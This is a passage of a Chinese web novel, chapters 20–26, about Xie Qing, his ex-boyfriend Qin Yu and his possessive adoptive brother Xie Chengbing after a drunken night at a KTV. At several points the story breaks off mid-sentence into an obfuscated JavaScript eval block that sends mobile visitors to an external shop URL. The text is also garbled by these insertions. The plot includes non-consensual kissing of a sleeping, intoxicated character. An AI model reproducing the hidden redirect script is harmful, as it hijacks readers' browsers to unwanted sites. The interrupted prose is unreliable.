如果视线能化为实质,秦屿的眼神现在就能把樊正切碎。 谢清早知道秦屿自称男朋友是骗人的,这下在樊正口中也得到了佐证。对秦屿更加不客气:“你也知道,我现在和你不熟,闪开,挡着我了。” 他是指失忆的事。 但秦屿显然是要装傻装到底了:“宝宝,别这么说,我知道我那天走得急,把你一个人留在医院,你生气了是不是?那天之后我一直在找你呢,你身体……可以喝酒吗?” 他暗示地看了眼谢清的肚子。 谢清怕他把那个丢人的事情当众讲出来,立刻拉住他的手臂往外走,回头对邱宁轩他们说:“我和他说几句话,你们先玩。” 邱宁轩当然没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173530|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有意见,笑脸相送。 等目送两尊大佛走出包厢,他才瞪着樊正:“不是,我说,你今天吃炮仗了?真让我见识什么叫贴脸开大了。你知不知道秦屿现在不比以前,不好得罪的啊?” 樊正冷哼:“我说的不是实情吗。” 邱宁轩:“一会儿人家俩和好了,你就里外不是人了。” 樊正:“和好?我看不像。” 包厢外面,谢清拉着秦屿走到没人的地方,才甩开手:“我告诉你啊,不准把那件事讲出去,那是个误会,已经搞清楚了,我什么都没怀,非常正常!” “是这样吗?原来是误会啊。”秦屿摸了摸谢清的肚子,“说起来是没怎么显怀呢。” “本来就没怀!”谢清拍掉他的手。 “是这次没怀,还是不能怀?” 谢清:“废话?!我不能怀!” “哦……”秦屿的语气居然有点遗憾,继而他试探着问,“宝宝,那你的记忆恢复了吗?” 谢清:“想起来了,我们早就分手了。” 秦屿脸色几经变幻,谢清才不管他,他带他出来就是要叮嘱不准把丢人的事讲出去的,话讲完了,他也准备回包厢里。 秦屿一把挽住他的手:“宝宝,再给我一点时间好不好,我……” 这时候走廊有个人从转角出现路过,秦屿慌忙松开手,发现那只是个陌生人后,才松了口气。 谢清看他像做贼一样,不禁露出怀疑的目光。 秦屿先是愧疚低头,过了一会儿突然重新拽住谢清:“宝宝,你根本就没有想起来吧?” “是又怎样?” 秦屿忍不住紧紧抱住了他:“我们是迫不得已才分手的,你答应过会等我,等我在秦家有更大的话语权,等我不用再受制于我父亲。” 谢清心念微微一动。 原来如此,从这个角度来说,他们两个的处境居然还挺像的。 秦屿一脸委屈:“宝宝你别回那个包厢了好不好,那些人都不是什么好东西,不值得深交,尤其那个樊正,我一看就知道他在想什么,脑子里肯定都是不干净的东西,你离他远一点!” 谢清被他抱着挣脱不开,感觉背上粘了个树袋熊一样,骂也没用,打也费劲。 他深吸了一口气,说:“秦屿,有一件事我是真的想起来过,你们家派人追杀过我吧?” “你说什么?!” 震惊之下,秦屿终于松开了谢清。 “我不管你是真不知道还是装的,反正失忆前我们就分手了,这个记忆告诉我,我们俩在一起肯定是不安全的,我真正该离远一点的人是你!就这样吧,别再来缠着我了。” 秦屿眼睛红了,站在原地手足无措。 眼看谢清推开了门,他还是冲了上去:“我再说最后一句就走……樊家的生意都不怎么干净,你千万别被他骗了,都是捞一笔就走的灰色产业链,别去给他当冤大头。” 谢清回头正视了他一眼。 樊正也在这时走了过来:“怎么啦谢少,遇到甩不掉的前男友了?” 秦屿皮笑肉不笑地看他一眼:“我是得叮嘱我老婆小心遇到甩不掉的癞蛤蟆。” “宝宝,记住啊,今天不要再喝酒了,我就在隔壁包厢,想回家的时候我送你,啊?” 樊正推上了包厢的门:“回什么家,夜生活才刚开始呢,是吧谢少。” 21. 第 21 章 谢清回包厢后吃了点东西,感觉酒劲过去了些,不过樊正今天仿佛铁了心要把他灌醉。 推杯换盏间谢清婉拒了那个所谓高收益项目的入伙,顺便又加了几个公子哥的联系方式。 宋岩打过来好几通电话,问他去哪儿了,提醒他早点回家,最后一通是樊正接起来的:“你是?哦,谢家保镖啊,放心,我们会照顾好他的。” 在宋岩沉声质问“你们是谁?”的时候,谢清皱着眉头抢回了手机:“别乱动我的东西。” 樊正摊手一笑,接着手就落在了谢清背上:“谢少,这是几?” 谢清拍掉他的手,按住了自己的太阳穴,头有些疼,他不知道自己醉的整张脸都红得像只熟了的虾子。 看了眼手机时间,摇摇晃晃起身:“不玩了,我要走了。” 邱宁轩在和几个人玩骰子,闻言立马挽留:“别呀谢少,我们刚还赌了你今天会不会看上……”他的嘴被朋友捂住了:“哈哈别听这孙子胡说,他喝大了!” 樊正的手从谢清后背缓缓往下滑,见谢清没反应,不由大胆了些,凑到他耳边说:“你好瘦啊,脊椎这么明显,在家被你哥虐待了吗?” “你哥”两个字唤醒了谢清的一点意志,他继续找门:“该回家了,不然哥哥又要生气了……唔,别拽我!” “别走嘛谢清。”灯光昏暗,樊正直接将谢清按倒,压在了沙发上,他凑在谢清耳朵边上说了句什么。 周围的人都见他们俩姿势暧昧,还没来得及起哄,事故就在一瞬间发生了。只见谢清抄起茶几上的酒瓶用力一掼,不偏不倚砸在了樊正后脑勺。 玻璃酒瓶碎裂的声音使得全场安静下来,樊正反手摸了把脑袋,低头一看,粘稠的液体,红的。 谢清摇晃着起身,冲他说了句:“你也配?” 接着调头就走。 这次没人敢再开口挽留,樊正也踉跄着站稳,阴沉布满整张脸,盯着谢清走出去的背影,眼眶充血发红。 邱宁轩率先从恐慌中回神:“樊正,血……你流血了!快快快打120!” 出了ktv,谢清抬手拦了辆出租,一上车就趴在了后座。 司机高声催问了好几遍去哪儿。 就在司机不耐烦了想把他赶下车时,樊正从ktv追了出来,他脑袋后面的伤口都没有包扎,一路淌着血,气势汹汹朝着谢清而来。 邱宁轩和几个公子哥纷纷追在后头:“樊正,冷静点!冷静点!” 樊正走到出租车跟前踹了两脚车门,谢清感觉手臂被人拉住,扯着他起身,刚扯到半截那人又松手了。 他一回头,就看到秦屿和樊正打了起来。 秦屿心里惦记谢清,回去以后找借口打发了生意伙伴,一直守在大堂等谢清。 直至谢清出来,他就也跟在后头出来了,看到樊正敢动手动脚,想也不想一拳就揍了上去。 “别再纠缠我老婆了,要我再说一次?” “你老婆?你看这小婊子认吗?少他妈自作多情!” “你叫他什么?” 两个人扭打在一起,邱宁轩看的是心惊胆战,不停在一边劝架:“樊正!秦少!哎哟别打了我说哎!” 救护车响着铃来到了ktv门口,邱宁轩冲过去说是自己打的电话,恳求医护人员帮忙拉架。 谢清冷眼瞧着闹剧,拍了拍司机的车后座:“别看了,走不走啊?”他报了个地址,却并不是谢宅,而是一栋教职工家属楼。 出租车开出去,架总算也拉开了,邱宁轩拼命在樊正耳边劝:“够了够了!秦家咱们得罪不起!” 秦屿见谢清就那么走了,追在车后面跑了几步,也抬手拦下一辆车,跟了出去。 谢清的手机已经快被打爆了,他不耐烦地关机,摇下车窗让冷风吹着自己。 车开到目的地时,谢清自觉已经酒醒,拉门下车,差点摔到在地上。 秦屿从后面冲过来扶了他一把,被甩开。司机喊谢清:“喂!帅哥!没给钱!” 秦屿:“我来。” 伸进去扫码时,他瞄见谢清把自己的手机都落在了后座,赶紧替他拾了起来。 秦屿三步并作两步追上谢清,然后就亦步亦趋跟在他后头,只敢在他摇晃时快速扶一下,再快速撤开。 “宝宝你是不是报错地址了?这里不是你回家的路。” 谢清蓦地站住,回头瞪他:“你有完没完?还打算跟多久?” “我送你安全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢清一头冷汗,扭头就把秦屿推了出去:“老师,我、我哥也在?” 22. 第 22 章 柴友梅跑过来一看:“噢,你哥落了东西在这儿啊?正好你给他带回去吧。他今天下班后是来过一趟的。” 老师说这话的时候眼神竟然有点飘忽,是心虚的表现。秦屿心中起疑,但谢清本来醉酒就有点眼花,根本没观察到。 听说他哥并不在,大大松了口气,这才重新往家里钻。 “我才不带给他,扔了吧。老师,今天让我住下来好不好啊?我不想回家!” “好好好,当然好,我这就让你师公收拾书房,老韩——快点啊磨磨蹭蹭的,出来给客人泡茶!” “马上,我换个衣服哈,小清你先自己坐——”老韩的声音从卧室里传出来。 秦屿帮忙收拾客厅的茶几,柴友梅赶紧拦他:“哎呀小秦,不好意思家里有点乱,没事不用你帮忙收拾,你是客人,快坐。你今天也一起留下睡吗?家里有点小,不要介意啊。” “不介意不介意!” 谢清暗中掐他:“他不留宿,他回自己家。秦屿,我老师家没有客房,就书房一张折叠床,你没地方睡。” 秦屿:“宝宝,我可以打地铺的。” 柴友梅:“打地铺哪儿行啊!没关系,我让你师公把主卧腾出来给你们两个,我睡书房,他自己回学校宿舍睡去!” 谢清赶紧说:“不用不用,我们不睡主卧!他……”看秦屿这死皮赖脸的样子,让他滚回去是不可能了,谢清只好说,“他打地铺就行了,他就爱睡地上。” 秦屿:“对对,地上凉快,还能防止老婆半夜摔下来,他喝多了睡觉很不老实。” 三人就这个话题扯来扯去的,最后柴友梅无奈妥协了。 男主人很快也从卧室出来了,匆匆忙忙去餐厅泡茶,秦屿赶紧过去帮忙。 夫妻俩一致又把他按回了客厅坐下。 “小清啊,你这男朋友太有礼貌了,长得也是一表人才。” 秦屿:“谢谢老师夸奖。” 谢清悄悄白他一眼:“我看他油嘴滑舌的很。” 秦屿笑而不语,由谢清说。他坐在客厅暗中打量了房子一圈,这家人似乎就只有夫妻俩,房子面积也不大,四个人挤在客厅里实在捉襟见肘,不过麻雀虽小肝胆俱全,布置很温馨。 以前谈恋爱的时候,谢清已经离开了谢家,秦屿记得自己问过谢清,除了谢宅还有没有容身之所,谢清当时说:“有一个难过了就会去留宿的家,可是谢呈冰也知道那里,所以是藏不了的。” 他今天是难过了吗?因为什么呢?秦屿看向谢清的侧脸。 谢清抱着柴友梅的胳膊在撒娇,两人如同母子俩一样。柴友梅显然也敏锐地察觉到了谢清情绪不好,问他:“是不是和你哥吵架啦?” 谢清把脸埋在老师胳膊上沉默,良久,竟然低声啜泣起来:“不是吵架,比吵架还严重!他——我把他当亲哥的!他根本不把我当亲弟弟!” 醉酒加难过,谢清全然忘了场合,越说哭得越凶,到后来就是嚎啕着控诉谢呈冰。 “我真不敢想起来一年前发生了什么,我怕呀!我从来不是野心勃勃的人,我才没想过要和他争什么,可是、可是我失忆前竟然选择了要争,一定是被逼的,老师你说,他拿什么逼我的?他怎么这样啊!” 秦屿在一旁听了也连连皱眉。他握住谢清的手:“宝宝别哭了,还有我呢,没有人可以伤害你。” 柴友梅听了这话却好像不太高兴,看了秦屿一眼,轻轻拍打谢清的后背:“傻孩子,小冰怎么会害你?这一定是误会啊。” 秦屿忍不住说:“老师你确定?去年谢清离家出走,不就是因为谢呈冰吗。人人都知道是谢家遗产让他不顾——” 柴友梅打断:“小秦,看在你是小清男朋友的份上我不跟你生气,请你不要胡乱揣测。” 她继续安慰谢清:“小清啊,你说你失忆了,那现在想起来多少了?” 谢清根本没在听外界说什么,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173532|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是自顾自的宣泄情绪,有些话他清醒的时候肯定也不会说出来,柴友梅问也问不到什么,只好对丈夫说:“去,先把书房收拾出来,让小清睡觉吧,明天醒来再说。我给小冰打个电话报平安。” 秦屿跟着站起来:“抱歉柴老师,刚才是我失言了,您不要生气。我想给谢清煮点醒酒汤,可以借用厨房吗?” 柴友梅神色稍缓:“用吧,好孩子。” 秦屿点点头,又说:“老师如果打电话给谢呈冰,可以不要告诉他我也在吗?主要是我和谢清还没有正式见过他哥哥,想找更合适的时机认识。” 柴友梅犹豫了一下,同意了。 老韩去书房把折叠床打开铺好,又连哄带骗的把谢清哄到床上,谢清哭也哭累了,沾着枕头就乖乖闭上了眼睛。 柴友梅进卧室的阳台给谢呈冰打去了电话:“小冰,你说实话,是不是欺负你弟弟了?” 谢呈冰一听就问:“谢清在你家?” “是啊,喝多了酒,哭得厉害,一直说你欺负他。” 谢呈冰呼吸一滞:“他……想起什么了?” “没有,都是醉话。想起来了也不可能心无芥蒂来我家了,哎,小冰,老师当初就没有过问你们之间发生了什么,是相信你们可以解决好。没想到那一年里,小清连我和老韩都不愿见了。今天下午那会儿听你说他回家了,失忆了,我是又难受,又……又觉得这样也好。可他现在这个样子,真是……” 柴友梅说着说着,自己也有点哽咽:“老师和你说句心里话,小清是个好孩子,你不能因为他不是你亲弟弟就……” “老师。”谢呈冰低声打断,“没有那回事。我爱他。” 柴友梅怔了一下。 谢呈冰:“我现在过来接他回家。” “哎等等,小清都在我家睡下了,就让他住一晚上吧,有什么事明天再解决。” 隔了一会儿,谢呈冰说:“那我现在来看看他。” 23. 第 23 章 秦屿煮好了醒酒汤,端来书房后,礼貌地和男主人点了点头:“韩叔叔,我来照顾他吧,您快点去休息吧。” 老韩指着地上铺好的地铺:“那个,今天晚上就委屈你了啊小秦,要是睡得不舒服你就喊我。” “没事我怎么都行的,谢谢叔叔。” 老韩退出房间,帮他俩把门也关上了。 秦屿蹲下来戳了戳谢清红扑扑的脸,感觉心里软软的:“宝宝,睡着了吗?” 谢清“唔”了一声。 秦屿笑了,把他抱起来:“喝点醒酒汤再睡吧,不然明天早上会头疼的。” 谢清乖乖躺在他臂弯里,喂一口喝一口,听话的不像样。秦屿忍不住在他脸上咬了一口:“老婆,我的。” 喂完醒酒汤,他脱了鞋子翻身上床,窄小的折叠床“吱嘎”一声,谢清不满地哼哼:“干嘛呀?你睡地上去。” 秦屿:“我给你按摩一下就下去,怕你醒来不舒服。” 谢清就着熏黄的床头台灯看了秦屿一眼,看见他柔和的轮廓,笑的很温暖,仿佛以前他也一直是这么照顾的,习以为常了。 谢清哼哼唧唧地扭动几下,换了个舒服的姿势,默认了。 秦屿按摩的手法像是学过的,很专业,也的确很管用,谢清感觉头疼都减轻了。 他的眼睛还有点肿,意识比刚进门清醒好多,呆呆放空了一会儿,好奇问了句:“我们是怎么认识的?” 秦屿:“你勾引我大哥未遂,勾引到了我。” 谢清:“……” 谢清:“放屁!” 秦屿:“是真的,那天你雇了两个流浪汉在我哥的必经之路抢你的包,然后你拦在我哥的车前面问他能不能帮你追回来,我哥看都没看你,就让保镖把你赶走了,是我帮你追回来的。” 谢清:“……” 他翻了个身,用膝盖抵开秦屿:“我有病吗,勾引你哥干嘛?我不可能喜欢他那种人。” 秦家大少爷秦霄,谢清以前听谢父提过他几次,夸他商业嗅觉灵敏,谢清随手在网上一查,他在科技领域的研发项目导致许多工人下岗失业,他本人的回应还特别的没有人情味,完全就是个精致利己的特权阶级,冷血资本家。 谢清讨厌这样的人。 秦屿却信誓旦旦:“骗人是小狗。” 谢清:“那你又怎么知道流浪汉是我雇的,就不能我真的被抢了?” 秦屿:“是你自己告诉我的呀,我帮你拿回来以后你叫我滚,还当着我的面和那两个流浪汉讨价还价,说是没有达成目的,不应该给钱,他们说可以换个时间再来一次。” 谢清默默翻身趴了回去,小声嘀咕:“我混的那么惨?” 秦屿还美滋滋:“所以我们认识是特别的缘分,你一直都用最真实的一面接触我,从来不是抱着目的性和我交往的,我这么和家里人说,他们还不信。嘿嘿,幸好大哥没看上你。” 谢清无语死了。 “我怎么会看上你这种蠢货?” “别这么说嘛宝宝,我会做饭会洗衣服会按摩,你说你可喜欢我了。” 谢清:“往上一点,你手往哪儿摸呢。” “对不起宝宝,你屁股好软我忍不住。” 谢清叹了口气。秦屿说的可能是真的,他刚才依稀想起来一点,一开始他应该不知道秦屿也是秦家人,交往也许是真的喜欢,和想抱连忆心大腿那种的不一样。 他脑海里闪过了和秦屿确认关系那天的景象,在他自己的临时出租屋里,他左看右看的有点拘束,秦屿问:“在找什么?” 他小声说:“找找有什么拿得出手,来招待你。好像没有找到。” 秦屿起身,从后面搂住了他的腰:“……你就是最好的招待。” 土死了! 谢清拿枕头盖住头:“下去下去,不按了,我想睡觉了。” 秦屿依依不舍:“好吧。”他慢腾腾地帮谢清捋平衣角,手一路流连着从他身上离开,翻身下床,“宝宝,你睡得着吗?” “睡得着!” “好吧……”这里毕竟是在别人家,秦屿遗憾地坐到地铺上,“宝宝晚安。” 一个小时后,谢呈冰绕城大半圈赶到了柴友梅家楼下。 柴友梅在电话里就劝他明天再来了,没想到劝不住,人还是一晚上都不肯多等。 她给谢呈冰开门的时候预警:“那个,小清还带了男朋友来,都已经睡下了,你就在门口看一眼就走吧。” 谢呈冰眼神蓦地冷下去:“男朋友?” 柴友梅:“你还真的不知道啊?那你继续装不知道吧,小清肯和你说了再说。” 谢呈冰捏着拳头在门口站了一会儿,才迈着沉重的脚步往里走。 “老师,你去睡吧,我看一眼就走了。” 柴友梅拍了拍他的胳膊:“有什么误会,一定要早点解开。” “嗯。” 柴友梅见他不想多说话,点点头自己进厨房泡茶,给他留下独自的空间。 谢呈冰眼神森冷,手搭在书房的门把手上一转,带着冷峭的杀气。门开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14173533|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条缝,他先是看见了睡在床上的谢清,还没来得及缓和神色,紧接着就看到了地上躺着的男人。 秦屿在门外有动静时就睁眼了,此刻他坐了起来,与谢呈冰有了一个对视,胆子差点被吓破。 他不是胆小的人,只不过谢呈冰眼神恨意太浓,让他以为是什么含恨的野鬼,分分钟就要上来索命。 两个人默契的没有发出声音,怕吵醒谢清。 秦屿出了书房,谢呈冰冷森森地说:“下楼。” 到了楼下,秦屿防备地盯着谢呈冰:“你就是谢清的哥哥吧?”他没见过谢呈冰,不过在网上见过他的脸,结合他对自己的态度,很快就认出来了。 “怎么了,你弟弟在外过个夜,都要来查岗?你把自己当什么人?” 谢呈冰没像他想的那样冲上来打他,看来还有理智可言。只不过他就一直盯着秦屿,也不说话。 秦屿想他毕竟是谢清名义上的哥哥,便主动放缓了语气:“哥,我和老婆……” “别乱认哥,你自己的哥死了?”谢呈冰眼神凛冽,“更别乱认老婆,离谢清远点,别再在他面前出现。” 秦屿火气上来了:“我和他谈恋爱,你管得着吗?” 谢呈冰像看一个死人一样看了他一眼,不和他多说,直接拿起电话拨了出去。 秦屿狐疑地看着他,直到听见谢呈冰说:“秦霄先生?听说你弟弟最近在和你竞争家族产业,是秦老先生默许的。呵呵,别误会,我不是看笑话,只是来给你提供一个内幕,秦老先生让他入局的条件是不准他再见他前男友。现在他就和前男友在一起,似乎还想复合。” “操!”秦屿上前抢电话,被谢呈冰侧身躲了过去。 谢呈冰:“我说错了?” 秦屿恨得牙痒痒:“拆散我和你弟弟对你有什么好处?你要是真心对你弟好,就不该这么独裁!还是说,你果然就是想害他?装都不装了?” 谢呈冰:“一个保护不了他的人有什么资格声讨我,等你打败你哥,再来和我说话不迟。” “谢呈冰!你……你等着好了!” 秦屿咬牙切齿,他低估了谢清他哥的无耻程度。为长久计,他现在不得不离开,不能落把柄在秦霄手上,那样就功亏一篑。 家里不同意他和谢清在一起,他必须打败秦霄赢下赌局才行。 秦屿仰头看了眼六楼,又狠狠瞪了谢呈冰一眼,故意撞开他的肩匆匆走了。 谢呈冰面无表情地掸了下肩头,如掸去不值一提的灰尘,一步一步走回家属楼。 24. 第 24 章 谢清睡得正酣,对楼下发生的一切一无所知。 谢呈冰打开书房门,带回来一阵穿堂风。他站在弟弟床前静静看了会儿,轻轻撩起被子,捉出谢清的手。 谢清长了双养尊处优的手,白净无茧,指甲修的圆润,捏起来软绵绵的,他从小就喜欢牵,牵着心情就会变好。 就像现在,捏了会儿,戾气消散了不少。 他把每根指节都慢慢摸了一遍,才塞回被子里,视线转移到了谢清脸上。 看起来,今天是哭得很凶,现在都还有点肿。 亲亲就好了。 谢呈冰俯下身,嘴唇快要碰到谢清眼皮时停了下来,不知道在等什么,呼吸就静静喷洒在谢清脸上。过了会儿,他伸出舌尖,轻舔了一下谢清的眼皮。 谢清没反应,于是他一点点往下,在鼻尖上也快速啄了下,来到嘴唇上方。 谢清的唇形很流畅,唇珠弧度好看,让人忍不住想尝尝味道。 谢呈冰把嘴唇印了上去,很轻的一下。 还是没反应,那就是不抗拒。谢呈冰心里这么想着,又亲了一下。 在他下一步想要探入舌尖时,谢清终于动了,微微翻了下身,嘴巴里小声嘀咕:“秦屿……老实点……” 谢呈冰缓缓站直了身体,眼底只剩下一片冰凉。 书房的门被人轻轻推开,柴友梅探头进来,她终究不放心:“小冰?我听见有人出去,咦,小秦走了吗?” 谢呈冰退出房间:“嗯,我也走了。老师,今晚打扰了,明天早上我再来接谢清,别告诉他我今晚来过。” 柴友梅看谢呈冰脸色不好,有点担心:“不然你也留下来过夜吧?这么晚了。” 谢呈冰摇摇头:“不了,老师再见。” 第二天谢清醒来,柴友梅给他弄了一桌子早饭。 “小清啊,要不要再多住几天?反正现在是暑假嘛,我和你师公闲着呢。” 谢清揉着眼睛,慢慢想起昨天在客厅撒泼的事,有些不好意思:“老师,昨晚吵着你们了,真对不起。” “没事没事,你有心事随时都可以和老师说啊。” 谢清抱了柴友梅一下。 吃过早饭,柴友梅说他哥应该会来接他。谢清一听,想说还是自己先赶回家吧。结果一下楼就在门口看见了谢呈冰的车。哥哥人也坐在车上,平静看着他。 他硬着头皮走过去:“哥,来了多久了?怎么没给我打电话。” 他不知道谢呈冰其实一晚上没回去。 谢呈冰:“上车。” 一路上谢清忐忑不安,想着谢呈冰回家会怎么教训他。谢父在的时候,他们家谁犯错都是会挨打的,谢呈冰如果发脾气不知道会不会和爸爸一样。 没想到谢呈冰始终没过问他昨晚为什么不回家,他想的借口全都没用上,但与此同时也松了一口气。 很快谢清就认识到这口气是松早了。 谢呈冰今天请了假没有去公司,就一直跟着他,吃饭喝水去厕所都跟着,什么话也不说,谢清头皮发麻,主动认错:“哥,我不出去了,我真的不溜出去了,你不用一直看着我。” 谢呈冰:“可以出去。” “什么?”谢清不太相信,“真的吗?” “嗯,你想去哪儿,我都陪你。” 谢清正琢磨着该怎么办,手机就响了起来,是昨天在Ktv加的其中一个,他释放了想做点生意的信号,让他们有好事也带带他,没想到今天就联络了。 可是当着谢呈冰的面谢清不好谈那些,只好滑断了。 谢呈冰:“谁?秦屿吗?” 谢清皱眉:“提他干嘛。”说起秦屿他还生气呢,昨天晚上竟然一声不吭就走了。 虽说是他总叫人滚,但看在秦屿挺会照顾人的份上,他不也默认秦屿住下来了吗,而且还想起了一些旧事,好不容易生出来的一点好感,在早上看到空荡荡的地铺时跑干净了。 哥哥突然提起秦屿,果然是柴老师告诉他了? 谢清想了想还是解释:“哥,不知道柴老师怎么介绍的,昨天晚上遇到他就是个偶然。” “你们复合了?”谢呈冰问。 “怎么可能!我连谈过恋爱的记忆都没有。”其实想起来一点点。 谢呈冰点点头,谢清就以为这事过去了。 他回卧室找了本漫画,趴在地毯上看。谢呈冰还是不走,杵在边上,好像跟定他了。 过了十几分钟,谢呈冰突然没来由地又问:“你为什么喜欢秦屿?” 他哥是不是和秦屿有什么过节啊?这么耿耿于怀。谢清:“谁喜欢他了?” “他是你交的第一个男朋友。” “……”谢清揉了揉眉心,随口说,“大概是他温柔吧。” “我不够温柔吗?” 谢清失笑:“你跟他比什么,你是我哥啊。” 谢呈冰抽出他手里的漫画书,认真地看着他:“有哥哥就够了对吗?” “什么?” “有哥哥,就不用男朋友了吧。” 谢清站起来去抢漫画书:“那怎么能一样啊。” 谢呈冰把书背在身后,眼神一直追着弟弟:“怎么不一样?” 谢清最受不了他哥轴的样子,轴起来说什么都没用,他看谢呈冰问的一本正经,故意搞怪地笑了笑:“哥哥难道能满足我的生理欲望?” 本来只是想看哥哥惊慌失措的样子。没想到谢呈冰毫不犹豫:“能。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14173534|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 惊慌失措的人成了谢清。 他抓到了漫画书,人也贴在了谢呈冰身上,哥哥的手揽住他的后背,说话时都能感受到胸腔微微震动。 谢清书也不要了,匆忙退了开:“哥你这人真是……逗你最没意思了。” 他扑到床上,抓起手机选择打游戏,背对着谢呈冰,摆出送客的姿态。 可谢呈冰还是不走,他把电脑搬来谢清身边工作。 谢清烦透了,故意弄得特别大的动静表示抗议。可惜他哥不为所动。 手机进了短信,连续“叮叮”好几声。谢清低头一看,这次还真是秦屿。 秦屿:【宝宝,昨晚我家里人来抓我了,才不得不提前走了,你没有生气吧?】 【早上起来头没有疼吧?下次我不在的时候千万不要再喝那么多了,多危险啊,那么多变态盯着你。】 【宝宝,我好想你啊,想亲亲抱抱。你呢?想我吗?】 谢清盯着备注“老公”两个字,屏幕里倒映出他无语的表情。肯定是秦屿昨晚趁他睡着自己编辑的。 他刚想把人拉黑,最新一条短信进来了:【宝宝,你是不是想做生意?昨晚那些人没一个靠谱的,你不要和他们上一条船。我给你介绍一个靠谱的合伙人,你跟着他干,他是我一个学弟,知根知底的,不会坑你,也不会让我家和你哥发现。】 接着秦屿二话不说给他转了二十万启动资金。 谢清没想到他这么上心,手指停在秦屿的号码上。 谢呈冰:“这次是谁?” 谢清快速把聊天记录删光:“不告诉你。” 谢呈冰放下电脑走了过来,直接动手去抢谢清手机,谢清气恼:“哥你干什么啊!你把我当什么了!” “是宋岩?还是连忆心?还是你昨天晚上在KTV认识的新男友?” “你在说什么?!”谢清不可置信地看着他哥,“你知道自己在说什么吗?” 为什么连KTV的事他哥也知道了?而且,什么叫新男友??他哥觉得他是那种随便交男朋友的人吗?! 谢呈冰手劲大,没两下就把手机抢了过来,发现谢清已经把消息删除了,竟然还打电话给技术人员,让对方给他恢复聊天记录。 谢清本以为谢呈冰是说笑的,直到技术人员真的上门了。 青年背着学生款式的书包,戴着厚重的黑框眼镜,局促地看着自己的老板:“谢总……我来了……” 谢呈冰把手机递给他:“就在这处理,我看着。” 谢清怒喊了一声他哥的大名。见他哥面无表情,就指着那个技术人员:“你走,别理他。” 青年瑟瑟发抖,看看老板,看看老板弟弟,只恨今天没拿拉肚子当借口。 26-30 第26章 第 26 章 一年前, 父亲葬礼刚刚结束,谢家只剩下谢清和哥哥相依为命,谢清原本才完成期末考试, 和几个同学订好了假期旅游计划,因为这件事取消了。 葬礼上, 他一想到自己又没爹了,就哭的厉害, 身体都哭软了瘫在地上, 同学过来安慰他:“谢清, 节哀顺变,你还有我呢。” 他没给同学好脸色:“你又不是我家人。” 同学没生他气, 一直给他顺背,到后来不知怎么就亲了他一下, 被另一个同学看见,两个人在灵堂外面大打出手。 一个骂另一个滥情:“你都要出国了还来招惹他干什么?” 另一个说:“我可以带谢清一起走,反正他在这也没挂念了, 他一直想要一个完整的家, 我爸妈愿意把他当亲儿子疼,你爸妈能吗?” 谢呈冰本来只是叫保镖上来拉架,闻言亲自走过来,拽住那个同学的后领, 眼神格外凌厉:“谢清答应了, 要跟你走?” 那同学看见是谢清的哥哥, 气场一弱, 但在情敌面前不想丢了场子, 于是含糊地说:“答应了啊,本来票都订好了的, 要不是谢叔叔出了意外……” 他说的是旅行的事,不过在这个场合下,显然会让人理解成另一个意思。 谢呈冰松开手,让保镖把人赶出去。 那天的闹剧传开,谁都知道谢呈冰动了重怒,把弟弟关起来不让外人联络,谢清理解哥哥生气的原因,乖乖认错闭门思过。 但说到底,也不是他的错,他怎么知道同学有那种心思。 可是谢呈冰不知道犯了什么病,一直不肯原谅他。 渐渐外界就传言,谢呈冰是故意限制弟弟行动,好趁机接管公司,独吞谢氏遗产。 传言到了谢清耳朵里,谢清不愿意相信,直到社区街道办给他打电话,问他迁户口的事。 他才知道谢呈冰背着他要把他迁出谢家。 